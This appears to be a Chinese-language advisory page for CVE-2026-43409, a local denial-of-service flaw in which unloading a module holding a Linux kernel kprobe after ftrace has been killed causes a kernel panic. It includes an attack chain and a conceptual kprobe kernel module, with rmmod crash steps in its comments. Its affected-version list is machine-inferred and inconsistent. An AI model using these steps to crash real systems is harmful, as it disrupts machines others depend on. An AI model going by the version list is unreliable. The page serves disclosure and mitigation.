IPBUF安全漏洞报告
English
CVE-2026-43409 CVSS 5.5 中危

Linux内核kprobes模块移除导致拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43409
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSKprobesFtrace本地漏洞

漏洞概述

Linux内核中的kprobes组件存在安全漏洞。当ftrace因错误被终止后,如果移除包含kprobe探针的模块,内核无法正确处理kprobe_ftrace_disabled标志,导致系统崩溃。

技术细节

该漏洞发生在Linux内核的kprobes子系统中。当ftrace由于内部错误被`ftrace_kill()`强制终止时,全局标志`kprobe_ftrace_disabled`被置位。然而,`__disarm_kprobe_ftrace`函数在执行过程中未对该标志进行检查,直接尝试执行ftrace相关的解除操作。当本地用户尝试卸载含有kprobe的模块时,`kprobes_module_callback`回调函数被触发,由于ftrace已处于不可用状态,访问无效内存地址导致页面错误,进而引发内核恐慌,造成系统拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者在系统中加载包含kprobe探针的内核模块。
STEP 2
步骤2
触发或等待ftrace功能因错误被终止(ftrace_kill被调用),设置kprobe_ftrace_disabled标志。
STEP 3
步骤3
执行rmmod命令移除该内核模块。
STEP 4
步骤4
内核在执行kprobes_module_callback时访问非法内存地址,导致系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-43409 * This requires a kernel environment where ftrace can be killed or simulated. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/kprobes.h> static struct kprobe kp; // Example handler static int handler_pre(struct kprobe *p, struct pt_regs *regs) { return 0; } static int __init init_module(void) { kp.pre_handler = handler_pre; kp.symbol_name = "do_sys_open"; // Example symbol register_kprobe(&kp); printk(KERN_INFO "Kprobe registered\n"); return 0; } static void __exit cleanup_module(void) { unregister_kprobe(&kp); printk(KERN_INFO "Kprobe unregistered\n"); } /* * Steps to reproduce: * 1. Load this module. * 2. Trigger ftrace_kill() (e.g., via another vulnerability or debug interface). * 3. Run 'rmmod [module_name]'. * 4. Kernel Oops occurs due to missing check in __disarm_kprobe_ftrace. */

影响范围

Linux Kernel < 6.6 (基于Git提交推断)
Linux Kernel < 6.1 (基于Git提交推断)
Linux Kernel < 5.15 (基于Git提交推断)

防御指南

临时缓解措施
建议限制本地用户对内核模块的加载与卸载权限,并及时关注Linux内核官方发布的安全更新,应用该漏洞的修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表